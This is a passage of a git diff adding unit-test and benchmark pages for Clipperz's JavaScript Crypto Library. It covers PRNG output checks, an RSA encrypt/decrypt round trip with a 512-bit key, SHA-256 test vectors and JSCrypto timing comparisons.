// MochiKit.Base.partial(timeDeferredFunction, "Deferred IsoLatin1", isoLatin1TestString, deferredEncryptUsingClipperz, deferredDecryptUsingClipperz, times['Clipperz']['Deferred [NO JSON]'], 'isoLatin1', someTestArgs),
|
||||
// MochiKit.Base.partial(timeDeferredFunction, "Deferred UTF-8", utf8TestString, deferredEncryptUsingClipperz, deferredDecryptUsingClipperz, times['Clipperz']['Deferred [NO JSON]'], 'utf8', someTestArgs),
|
||||
|
||||
MochiKit.Base.partial(appendResults, "Clipperz - deferred [NO JSON]", times['Clipperz']['Deferred [NO JSON]']),
|
||||
|
||||
MochiKit.Base.partial(timeDeferredFunction, "Deferred Ascii", asciiTestString, Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].deferredEncrypt, Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].deferredDecrypt, times['Clipperz']['Deferred'], 'ascii', someTestArgs),
|
||||
// MochiKit.Base.partial(timeDeferredFunction, "Deferred IsoLatin1", isoLatin1TestString, Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].deferredEncrypt, Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].deferredDecrypt, times['Clipperz']['Deferred'], 'isoLatin1', someTestArgs),
|
||||
// MochiKit.Base.partial(timeDeferredFunction, "Deferred UTF-8", utf8TestString, Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].deferredEncrypt, Clipperz.PM.Crypto.encryptingFunctions.versions['0.3'].deferredDecrypt, times['Clipperz']['Deferred'], 'utf8', someTestArgs),
|
||||
|
||||
MochiKit.Base.partial(appendResults, "Clipperz - PM", times['Clipperz']['Deferred'])
|
||||
], someTestArgs);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'encryptMultipleStringsUsingJSCryptoFunctions': function (someTestArgs) {
|
||||
timeRegularFunction("JSCrypto - Ascii", asciiTestString, encryptUsingJSCrypto, decryptUsingJSCrypto, times['JSCrypto'], 'ascii');
|
||||
timeRegularFunction("JSCrypto - ISO Latin 1", isoLatin1TestString, encryptUsingJSCrypto, decryptUsingJSCrypto, times['JSCrypto'], 'isoLatin1');
|
||||
timeRegularFunction("JSCrypto - UTF-8", utf8TestString, encryptUsingJSCrypto, decryptUsingJSCrypto, times['JSCrypto'], 'utf8');
|
||||
|
||||
appendResults("JSCrypto", times['JSCrypto']);
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
'syntaxFix': MochiKit.Base.noop
|
||||
};
|
||||
|
||||
//#############################################################################
|
||||
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
Random.set_default_paranoia(0);
|
||||
|
||||
//Random.addEventListener("seeded", MochiKit.Base.partial(SimpleTest.runDeferredTests, "Clipperz.Crypto.JSCrypto_vs_Clipperz", tests, {trace:false}));
|
||||
//Random.addEventListener("seeded", function () { console.log("SEEDED!")});
|
||||
|
||||
|
||||
MochiKit.DOM.appendChildNodes(MochiKit.DOM.currentDocument().body,
|
||||
MochiKit.DOM.TABLE({border:'1', cellpadding:'4', cellspacing:'0'},
|
||||
MochiKit.DOM.THEAD(),
|
||||
MochiKit.DOM.TBODY({id:'timerTBODY'},
|
||||
MochiKit.DOM.TR(null,
|
||||
MochiKit.DOM.TH(null, "algorithm"),
|
||||
MochiKit.DOM.TH(null, "ascii [" + asciiTestString.length + "]"),
|
||||
MochiKit.DOM.TH(null, "ISO Latin 1 [" + isoLatin1TestString.length * 2 + "]"),
|
||||
MochiKit.DOM.TH(null, "UTF 8 [" + utf8TestString.length * 3 + "]")
|
||||
)
|
||||
),
|
||||
MochiKit.DOM.TFOOT()
|
||||
)//,
|
||||
// MochiKit.DOM.H4(null, "AES chunkSize: " + Clipperz.Crypto.AES.DeferredExecution.chunkSize),
|
||||
// MochiKit.DOM.H4(null, "AES pauseTime: " + Clipperz.Crypto.AES.DeferredExecution.pauseTime)
|
||||
);
|
||||
|
||||
|
||||
SimpleTest.runDeferredTests("Clipperz.Crypto.JSCrypto_vs_Clipperz", tests, {trace:false});
|
||||
117
frontend/gamma/tests/tests/Clipperz/Crypto/PRNG.html
Normal file
@@ -0,0 +1,117 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script> jslog_config_enabled = true; </script>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/DOM.js'></script>
|
||||
|
||||
<!--<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Statistics.js'></script>-->
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/AES.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/PRNG.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
test_PRNG = function() {
|
||||
var rand1, rand2;
|
||||
var i,c;
|
||||
|
||||
c = 10;
|
||||
for (i=0; i<c; i++) {
|
||||
// jslog.debug(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32).toHexString());
|
||||
}
|
||||
|
||||
rand1 = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(1);
|
||||
is(rand1.byteAtIndex(0) <= 255, true, "getRandomByte returns always a single byte");
|
||||
|
||||
rand2 = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(1);
|
||||
is(rand1.equals(rand2), false, "getRandomByte should almost always return two different values when called into sequence");
|
||||
|
||||
|
||||
rand1 = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32);
|
||||
rand2 = Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(32);
|
||||
is(rand1.equals(rand2), false, "getRandomByte should almost always return two different values when called into sequence");
|
||||
is(rand1.split(0,1).equals(rand2.split(0,1)), false, "getRandomByte should almost always return two different values when called into sequence");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 1", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 2", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 3", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 4", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 5", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 6", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 7", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 8", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 9", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 10", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 11", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 12", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 13", "Value for random test");
|
||||
// is(Clipperz.Crypto.PRNG.defaultRandomGenerator().getRandomBytes(10000).toHexString(), "rand 14", "Value for random test");
|
||||
//jslog.debug(rand1.toHexString());
|
||||
//jslog.debug(rand2.toHexString());
|
||||
|
||||
SimpleTest.finish();
|
||||
}
|
||||
|
||||
try {
|
||||
MochiKit.Signal.connect(Clipperz.Crypto.PRNG.defaultRandomGenerator(), 'readyToGenerateRandomBytes', test_PRNG);
|
||||
Clipperz.Crypto.PRNG.defaultRandomGenerator().fastEntropyAccumulationForTestingPurpose();
|
||||
SimpleTest.waitForExplicitFinish();
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
90
frontend/gamma/tests/tests/Clipperz/Crypto/RSA.html
Normal file
@@ -0,0 +1,90 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/DOM.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/BigInt.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/RSA.js'></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
try {
|
||||
var rsaPublicKey;
|
||||
var randomValue;
|
||||
var publicEncryptedValue;
|
||||
var privateEncryptedValue;
|
||||
|
||||
var startTime;
|
||||
var endTime;
|
||||
|
||||
|
||||
startTime=new Date();
|
||||
rsaPublicKey = Clipperz.Crypto.RSA.generatePublicKey(512);
|
||||
|
||||
endTime=new Date();
|
||||
is(true, true, 'Time to generate the RSA public key (size 512 bit): '+(endTime.getTime()-startTime.getTime())/1000.0);
|
||||
|
||||
randomValue = Clipperz.Crypto.Base.generateRandomSeed();
|
||||
publicEncryptedValue = Clipperz.Crypto.RSA.encryptUsingPublicKey(rsaPublicKey, randomValue);
|
||||
privateEncryptedValue = Clipperz.Crypto.RSA.encryptUsingPrivateKey(rsaPublicKey, randomValue);
|
||||
|
||||
is(publicEncryptedValue == privateEncryptedValue, false);
|
||||
is(Clipperz.Crypto.RSA.decryptUsingPrivateKey(rsaPublicKey, publicEncryptedValue), randomValue);
|
||||
is(Clipperz.Crypto.RSA.decryptUsingPublicKey(rsaPublicKey, privateEncryptedValue), randomValue);
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
175
frontend/gamma/tests/tests/Clipperz/Crypto/SHA.html
Normal file
@@ -0,0 +1,175 @@
|
||||
<!--
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
-->
|
||||
|
||||
<html>
|
||||
<head>
|
||||
<title>Clipperz.Crypto.SHA - TEST</title>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../js/JSON/json2.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Logging.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Async.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
|
||||
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.Async.js"></script>
|
||||
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript" src="SHA.test.js"></script>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
|
||||
|
||||
<!-- html>
|
||||
<head>
|
||||
<script>
|
||||
jslog_config_enabled = true;
|
||||
clipperz_profiling_enabled = true;
|
||||
</script>
|
||||
|
||||
<script type="text/javascript" src="../../../../js/MochiKit/MochiKit.js"></script>
|
||||
<script type="text/javascript" src="../../../../js/JSLog/jslog.js"></script>
|
||||
<script type="text/javascript" src="../../../SimpleTest/SimpleTest.js"></script>
|
||||
<link rel="stylesheet" type="text/css" href="../../../SimpleTest/test.css">
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/Utils.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/YUI/DomHelper.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Base.js'></script>
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/ByteArray.js'></script>
|
||||
|
||||
<script type='text/javascript' src='../../../../js/Clipperz/Crypto/SHA.js'></script>
|
||||
</head>
|
||||
<body>
|
||||
<pre id="test">
|
||||
<script type="text/javascript">
|
||||
|
||||
try {
|
||||
var byteArray;
|
||||
var hash;
|
||||
var longText;
|
||||
var startTime, endTime;
|
||||
|
||||
longText = "Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec nunc sapien, condimentum vitae, varius vel, pharetra in, augue. Mauris quam magna, pretium sit amet, accumsan id, volutpat lobortis, nibh. Fusce sagittis. Aenean justo. Curabitur euismod pede. Morbi at ante. Proin nisl leo, ultrices sed, facilisis et, nonummy sit amet, lorem. Praesent mauris tellus, pulvinar sed, nonummy vitae, rhoncus non, nunc. Proin placerat malesuada nisl. Nunc id enim. Maecenas commodo enim ac nibh. Sed condimentum, urna sit amet euismod gravida, mi urna varius odio, luctus pretium lectus justo nec felis. Ut in augue et est malesuada rhoncus. Sed vel orci. Mauris suscipit. Praesent cursus velit non turpis. Donec tristique dolor ac est. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Nulla est sapien, vulputate eget, bibendum id, pharetra nec, mauris. Aliquam faucibus tincidunt dui. Proin iaculis. Maecenas sagittis. Integer et augue. Donec vitae urna in orci aliquet commodo. Vestibulum lorem sem, suscipit ac, placerat nec, mollis in, felis. Donec laoreet odio a mauris. Integer rutrum, sapien id varius molestie, mauris odio egestas orci, non bibendum sem felis in metus. Phasellus consectetuer lectus adipiscing mauris. Ut magna tellus, euismod ac, suscipit tincidunt, ullamcorper adipiscing, massa. Etiam orci. Phasellus a urna. Cras neque quam, laoreet at, tempus eget, euismod nec, nibh. Etiam hendrerit. Aenean vel lorem. Ut ligula lacus, congue eu, lobortis sit amet, venenatis in, magna. Nullam cursus felis quis est. Sed sem est, condimentum eu, vestibulum a, mattis vel, diam. Curabitur tincidunt pede quis pede. Sed neque diam, convallis vel, luctus at, porta id, nisl. Suspendisse potenti. Sed volutpat lobortis orci. Praesent mi. In interdum. Suspendisse suscipit ipsum eget dolor. Curabitur et tellus sed velit hendrerit varius. Cras sit amet est. Donec arcu nulla, vehicula et, pretium in, placerat id, felis. Integer mollis auctor lectus. Integer ultrices elementum sapien. Nam et erat. Nam pulvinar porta tortor. Nam at risus. Quisque nulla. Integer vestibulum, lacus id bibendum laoreet, ligula mi pharetra lorem, sit amet pharetra felis mauris quis justo. Aliquam ultricies. Duis a pede eget lorem dapibus rhoncus. Aenean eu elit non libero consectetuer viverra. Maecenas velit mi, eleifend vel, malesuada vel, condimentum quis, odio. Mauris tempus augue sed turpis. Pellentesque condimentum, lacus vitae pellentesque ultricies, risus tellus posuere nisi, et dictum turpis pede nec elit. Sed eu lectus eu justo sagittis euismod. Vestibulum lobortis, urna id mollis rhoncus, orci quam euismod ligula, at malesuada lacus magna vitae massa. Phasellus mattis fermentum velit. Nulla vulputate consequat enim. Maecenas quis neque. Curabitur sagittis facilisis neque. In elementum, eros non porttitor rhoncus, libero turpis sodales odio, vitae porta tellus purus et ante. Nullam molestie sollicitudin metus. Donec a elit. Morbi ut lacus. Donec at arcu. Quisque velit diam, interdum a, lacinia at, varius et, odio. Cras neque magna, ornare id, sollicitudin id, consequat a, est. Phasellus vestibulum est at leo. Nam facilisis, nulla dapibus condimentum pellentesque, est magna viverra ligula, at sollicitudin urna augue ut sapien. Fusce justo.";
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
//
|
||||
// Test of SHA-256 algorithm
|
||||
//
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
byteArray = new Clipperz.ByteArray();
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
is(hash.toHexString(), "0xe3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", "sha256('')");
|
||||
|
||||
byteArray = new Clipperz.ByteArray("0xbd");
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
is(hash.toHexString(), "0x68325720aabd7c82f30f554b313d0570c95accbb7dc4b5aae11204c08ffe732b", "sha256('0xbd')");
|
||||
|
||||
byteArray = new Clipperz.ByteArray("0x5fd4");
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
is(hash.toHexString(), "0x7c4fbf484498d21b487b9d61de8914b2eadaf2698712936d47c3ada2558f6788", "sha256('0x5fd4')");
|
||||
|
||||
byteArray = new Clipperz.ByteArray("0xc98c8e55");
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
is(hash.toHexString(), "0x7abc22c0ae5af26ce93dbb94433a0e0b2e119d014f8e7f65bd56c61ccccd9504", "sha256('0xc98c8e55')");
|
||||
|
||||
byteArray = new Clipperz.ByteArray("0x0df1cd526b5a4edd");
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
is(hash.toHexString(), "0x47f527210d6e8f940b5082fec01b7305908fa2b49ea3ae597c19a3986097153c", "sha256('0x0df1cd526b5a4edd')");
|
||||
|
||||
byteArray = new Clipperz.ByteArray("0xfdf4700984ee11b70af1880d0e0fefd4");
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
is( hash.toHexString(),
|
||||
"0xb01ae16eed3b4a770f127b98469ba26fe3d8e9f59d8a2983214afe6cff0e6b6c",
|
||||
"sha256('0xfdf4700984ee11b70af1880d0e0fefd4')");
|
||||
|
||||
byteArray = new Clipperz.ByteArray("0x8cf53d90077df9a043bf8d10b470b144784411c93a4d504556834dae3ea4a5bb");
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
is( hash.toHexString(),
|
||||
"0x56059e8cb3c2978b198208bf5ca1e1ea5659b737a506324b7cec75b5ebaf057d",
|
||||
"sha256('0x8cf53d90077df9a043bf8d10b470b144784411c93a4d504556834dae3ea4a5bb')");
|
||||
|
||||
byteArray = new Clipperz.ByteArray("0xeebcf5cd6b12c90db64ff71a0e08ccd956e170a50dad769480d6b1fb3eff4934cde90f9e9b930ee637a66285c10f4e8a");
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
is( hash.toHexString(),
|
||||
"0xc117b9dce689c399ec99008788cd5d24d8396fab7d96315c4f3fe6d56da63bb3",
|
||||
"sha256('0xeebcf5cd6b12c90db64ff71a0e08ccd956e170a50dad769480d6b1fb3eff4934cde90f9e9b930ee637a66285c10f4e8a')");
|
||||
|
||||
byteArray = new Clipperz.ByteArray("0x3592ecfd1eac618fd390e7a9c24b656532509367c21a0eac1212ac83c0b20cd896eb72b801c4d212c5452bbbf09317b50c5c9fb1997553d2bbc29bb42f5748ad");
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
is( hash.toHexString(),
|
||||
"0x105a60865830ac3a371d3843324d4bb5fa8ec0e02ddaa389ad8da4f10215c454",
|
||||
"sha256('0x3592ecfd1eac618fd390e7a9c24b656532509367c21a0eac1212ac83c0b20cd896eb72b801c4d212c5452bbbf09317b50c5c9fb1997553d2bbc29bb42f5748ad')");
|
||||
|
||||
|
||||
byteArray = new Clipperz.ByteArray(longText);
|
||||
startTime = new Date();
|
||||
//console.profile("SHA256");
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArray);
|
||||
//console.profileEnd("SHA256");
|
||||
endTime = new Date();
|
||||
is( hash.toHexString(),
|
||||
"0xf6fac13c06784e0fbc61a3d25c41c9984840a8b617a2beb57cf6fa3e5e4a8949",
|
||||
"sha256(longText)");
|
||||
is((endTime - startTime) < 500, true, "Long text hash performance (" + (endTime - startTime) + ")");
|
||||
MochiKit.Logging.logDebug("elapsed time: " + (endTime - startTime));
|
||||
|
||||
//#############################################################################
|
||||
|
||||
} catch (err) {
|
||||
|
||||
var s = "test suite failure!\n";
|
||||
var o = {};
|
||||
var k = null;
|
||||
for (k in err) {
|
||||
// ensure unique keys?!
|
||||
if (!o[k]) {
|
||||
s += k + ": " + err[k] + "\n";
|
||||
o[k] = err[k];
|
||||
}
|
||||
}
|
||||
ok ( false, s );
|
||||
}
|
||||
|
||||
</script>
|
||||
</pre>
|
||||
</body>
|
||||
</html -->
|
||||
84
frontend/gamma/tests/tests/Clipperz/Crypto/SHA.test.js
Normal file
@@ -0,0 +1,84 @@
|
||||
/*
|
||||
|
||||
Copyright 2008-2011 Clipperz Srl
|
||||
|
||||
This file is part of Clipperz's Javascript Crypto Library.
|
||||
Javascript Crypto Library provides web developers with an extensive
|
||||
and efficient set of cryptographic functions. The library aims to
|
||||
obtain maximum execution speed while preserving modularity and
|
||||
reusability.
|
||||
For further information about its features and functionalities please
|
||||
refer to http://www.clipperz.com
|
||||
|
||||
* Javascript Crypto Library is free software: you can redistribute
|
||||
it and/or modify it under the terms of the GNU Affero General Public
|
||||
License as published by the Free Software Foundation, either version
|
||||
3 of the License, or (at your option) any later version.
|
||||
|
||||
* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
var testSHA = function (aValue, anExpectedResult) {
|
||||
var byteArrayValue;
|
||||
|
||||
byteArrayValue = new Clipperz.ByteArray(aValue);
|
||||
hash = Clipperz.Crypto.SHA.sha256(byteArrayValue);
|
||||
is(hash.toHexString(), anExpectedResult, "sha256(' " + byteArrayValue.toHexString() + "')");
|
||||
|
||||
}
|
||||
|
||||
|
||||
var tests = {
|
||||
|
||||
'basic_tests': function (someTestArgs) {
|
||||
testSHA('', '0xe3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855');
|
||||
testSHA('0xbd', '0x68325720aabd7c82f30f554b313d0570c95accbb7dc4b5aae11204c08ffe732b');
|
||||
testSHA('0x5fd4', '0x7c4fbf484498d21b487b9d61de8914b2eadaf2698712936d47c3ada2558f6788');
|
||||
testSHA('0xc98c8e55', '0x7abc22c0ae5af26ce93dbb94433a0e0b2e119d014f8e7f65bd56c61ccccd9504');
|
||||
testSHA('0x0df1cd526b5a4edd', '0x47f527210d6e8f940b5082fec01b7305908fa2b49ea3ae597c19a3986097153c');
|
||||
testSHA('0xfdf4700984ee11b70af1880d0e0fefd4', '0xb01ae16eed3b4a770f127b98469ba26fe3d8e9f59d8a2983214afe6cff0e6b6c');
|
||||
testSHA('0x8cf53d90077df9a043bf8d10b470b144784411c93a4d504556834dae3ea4a5bb', '0x56059e8cb3c2978b198208bf5ca1e1ea5659b737a506324b7cec75b5ebaf057d');
|
||||
testSHA('0xeebcf5cd6b12c90db64ff71a0e08ccd956e170a50dad769480d6b1fb3eff4934cde90f9e9b930ee637a66285c10f4e8a', '0xc117b9dce689c399ec99008788cd5d24d8396fab7d96315c4f3fe6d56da63bb3');
|
||||
testSHA('0x3592ecfd1eac618fd390e7a9c24b656532509367c21a0eac1212ac83c0b20cd896eb72b801c4d212c5452bbbf09317b50c5c9fb1997553d2bbc29bb42f5748ad', '0x105a60865830ac3a371d3843324d4bb5fa8ec0e02ddaa389ad8da4f10215c454');
|
||||
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
'aldo_cortesi_tests': function (someTestArgs) {
|
||||
testSHA('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', '0xa3f01b6939256127582ac8ae9fb47a382a244680806a3f613a118851c1ca1d47');
|
||||
testSHA('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', '0xb35439a4ac6f0948b6d6f9e3c6af0f5f590ce20f1bde7090ef7970686ec6738a');
|
||||
testSHA('0x79', '0xa1fce4363854ff888cff4b8e7875d600c2682390412a8cf79b37d0b11148b0fa');
|
||||
testSHA('0x80', '0x76be8b528d0075f7aae98d6fa57a6d3c83ae480a8469e668d7b0af968995ac71');
|
||||
},
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
